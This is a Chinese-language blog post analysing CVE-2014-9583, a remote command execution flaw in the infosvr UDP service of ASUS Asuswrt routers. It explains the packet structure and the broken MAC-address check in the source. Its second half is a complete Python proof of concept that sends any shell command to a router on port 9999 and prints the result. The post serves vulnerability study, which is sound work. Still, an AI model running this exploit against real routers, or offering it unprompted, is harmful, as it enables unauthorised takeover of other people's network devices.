ASUS华硕远程命令执行_CVE-2014-9583

ASUS华硕远程命令执行_CVE-2014-9583

Berial Pwn

漏洞描述

image-20250329204956381
image-20250329204956381

Asuswrt中存在infosvr进程,该进程监听在0.0.0.0 IP上,监听本机任何IP的9999 UDP端口。Infosvr自身的授权机制不完整,在infosvr处理用户提交的数据时也没有适合的过滤,而且使用了system()函数执行部分请求,最终导致远程命令执行漏洞。

固件下载

目前没有找到有这个洞的版本固件,太老了

漏洞分析

好在该项目是开源的,可以在github看源码

1
https://github.com/RMerl/asuswrt-merlin/blob/master/release/src/router/infosvr/infosvr.c

image-20250329210454167
image-20250329210454167

这里可以看到绑定到了0.0.0.09999端口上;

image-20250329211022831
image-20250329211022831

接着将我们传入的请求传入processReq函数;

image-20250329211154508
image-20250329211154508

该函数接受了512字节的数据,然后传进processPacket函数

image-20250330134919146
image-20250330134919146

这里把请求数据转换成了IBOX_COMM_PKT_HDR结构

image-20250330135023426
image-20250330135023426

所以想要触发漏洞,就需要按照这个特定的格式;

image-20250330135406910
image-20250330135406910

image-20250330135524646
image-20250330135524646

首先前两个字节要设定为\x0c\x15,接着再往下看验证了MacAddress,这里已经是新版本修改过的代码了;

image-20250330135746409
image-20250330135746409

漏洞版本:

image-20250330135838437
image-20250330135838437

这里错用了memcpy,所以导致这个验证根本没什么用,

之后就是一个switch,根据opcode对应相应的功能,当然也要符合结构;

image-20250330140150533
image-20250330140150533

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import sys, os, socket, struct


PORT = 9999

if len(sys.argv) < 3:
print('Usage: ' + sys.argv[0] + ' <ip> <command>', file=sys.stderr)
sys.exit(1)


ip = sys.argv[1]
cmd = sys.argv[2]

enccmd = cmd.encode() #命令转换为字符串

if len(enccmd) > 237: #不能超过237,会造成溢出
# Strings longer than 237 bytes cause the buffer to overflow and possibly crash the server.
print('Values over 237 will give rise to undefined behaviour.', file=sys.stderr)
sys.exit(1)

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #创建UDP套接字,向ip:9999发送数据
sock.bind(('0.0.0.0', PORT)) # 绑定到本地9999端口
sock.settimeout(2) #设置两秒超时,防止卡住

# Request consists of following things
# ServiceID [byte] ; NET_SERVICE_ID_IBOX_INFO
# PacketType [byte] ; NET_PACKET_TYPE_CMD
# OpCode [word] ; NET_CMD_ID_MANU_CMD
# Info [dword] ; Comment: "Or Transaction ID"
# MacAddress [byte[6]] ; Double-wrongly "checked" with memcpy instead of memcmp
# Password [byte[32]] ; Not checked at all
# Length [word]
# Command [byte[420]] ; 420 bytes in struct, 256 - 19 unusable in code = 237 usable

packet = (b'\x0C\x15\x33\x00' + os.urandom(4) + (b'\x00' * 38) + struct.pack('<H', len(enccmd)) + enccmd).ljust(512, b'\x00')
# 根据结构格式写数据包,与上面表格对应即可
sock.sendto(packet, (ip, PORT))


# Response consists of following things
# ServiceID [byte] ; NET_SERVICE_ID_IBOX_INFO
# PacketType [byte] ; NET_PACKET_TYPE_RES
# OpCode [word] ; NET_CMD_ID_MANU_CMD
# Info [dword] ; Equal to Info of request
# MacAddress [byte[6]] ; Filled in for us
# Length [word]
# Result [byte[420]] ; Actually returns that amount

while True:
data, addr = sock.recvfrom(512)

if len(data) == 512 and data[1] == 22:
break

length = struct.unpack('<H', data[14:16])[0]
s = slice(16, 16+length)
sys.stdout.buffer.write(data[s])

sock.close()
  • 标题: ASUS华硕远程命令执行_CVE-2014-9583
  • 作者: Berial
  • 创建于 : 2025-03-29 20:46:13
  • 更新于 : 2025-03-30 14:07:34
  • 链接: https://berial.cn/posts/ASUS华硕远程命令执行_CVE-2014-9583.html
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
ASUS华硕远程命令执行_CVE-2014-9583